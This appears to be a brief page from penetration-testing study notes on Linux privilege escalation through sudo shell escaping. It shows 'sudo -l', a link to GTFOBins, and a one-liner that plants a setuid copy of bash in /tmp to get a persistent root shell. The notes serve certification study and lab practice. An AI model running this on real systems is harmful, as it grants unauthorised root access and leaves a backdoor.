> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/linux-privilege-escalation/sudo/shell-escaping.md).

# Shell Escaping

```
sudo -l
```

{% embed url="<https://gtfobins.github.io/>" %}

```
cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p
```
